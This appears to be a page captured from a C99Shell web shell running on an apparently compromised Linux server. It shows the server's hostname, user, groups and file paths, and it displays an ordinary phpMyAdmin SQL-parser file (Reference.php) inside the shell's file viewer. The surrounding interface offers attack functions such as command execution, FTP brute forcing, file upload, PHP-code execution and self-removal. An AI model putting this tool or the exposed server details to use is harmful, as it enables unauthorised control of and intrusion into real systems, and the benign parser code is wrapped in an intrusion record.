!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Components/   drwxr-xr-x
Free 28.14 GB of 117.98 GB (23.85%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Reference.php (3.95 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
PhpMyAdmin\SqlParser\Components;

use 
PhpMyAdmin\SqlParser\Component;
use 
PhpMyAdmin\SqlParser\Context;
use 
PhpMyAdmin\SqlParser\Parser;
use 
PhpMyAdmin\SqlParser\Token;
use 
PhpMyAdmin\SqlParser\TokensList;

use function 
implode;
use function 
trim;

/**
 * `REFERENCES` keyword parser.
 *
 * @final
 */
class Reference extends Component
{
    
/**
     * All references options.
     *
     * @var array<string, int|array<int, int|string>>
     * @psalm-var array<string, (positive-int|array{positive-int, ('var'|'var='|'expr'|'expr=')})>
     */
    
public static $REFERENCES_OPTIONS = [
        
'MATCH' => [
            
1,
            
'var',
        ],
        
'ON DELETE' => [
            
2,
            
'var',
        ],
        
'ON UPDATE' => [
            
3,
            
'var',
        ],
    ];

    
/**
     * The referenced table.
     *
     * @var Expression
     */
    
public $table;

    
/**
     * The referenced columns.
     *
     * @var string[]
     */
    
public $columns;

    
/**
     * The options of the referencing.
     *
     * @var OptionsArray
     */
    
public $options;

    
/**
     * @param Expression   $table   the name of the table referenced
     * @param string[]     $columns the columns referenced
     * @param OptionsArray $options the options
     */
    
public function __construct($table null, array $columns = [], $options null)
    {
        
$this->table $table;
        
$this->columns $columns;
        
$this->options $options;
    }

    
/**
     * @param Parser               $parser  the parser that serves as context
     * @param TokensList           $list    the list of tokens that are being parsed
     * @param array<string, mixed> $options parameters for parsing
     *
     * @return Reference
     */
    
public static function parse(Parser $parserTokensList $list, array $options = [])
    {
        
$ret = new static();

        
/**
         * The state of the parser.
         *
         * Below are the states of the parser.
         *
         *      0 ----------------------[ table ]---------------------> 1
         *
         *      1 ---------------------[ columns ]--------------------> 2
         *
         *      2 ---------------------[ options ]--------------------> (END)
         *
         * @var int
         */
        
$state 0;

        for (; 
$list->idx $list->count; ++$list->idx) {
            
/**
             * Token parsed at this moment.
             */
            
$token $list->tokens[$list->idx];

            
// End of statement.
            
if ($token->type === Token::TYPE_DELIMITER) {
                break;
            }

            
// Skipping whitespaces and comments.
            
if (($token->type === Token::TYPE_WHITESPACE) || ($token->type === Token::TYPE_COMMENT)) {
                continue;
            }

            if (
$state === 0) {
                
$ret->table Expression::parse(
                    
$parser,
                    
$list,
                    [
                        
'parseField' => 'table',
                        
'breakOnAlias' => true,
                    ]
                );
                
$state 1;
            } elseif (
$state === 1) {
                
$ret->columns ArrayObj::parse($parser$list)->values;
                
$state 2;
            } elseif (
$state === 2) {
                
$ret->options OptionsArray::parse($parser$list, static::$REFERENCES_OPTIONS);
                ++
$list->idx;
                break;
            }
        }

        --
$list->idx;

        return 
$ret;
    }

    
/**
     * @param Reference            $component the component to be built
     * @param array<string, mixed> $options   parameters for building
     *
     * @return string
     */
    
public static function build($component, array $options = [])
    {
        return 
trim(
            
$component->table
            
' (' implode(', 'Context::escape($component->columns)) . ') '
            
$component->options
        
);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--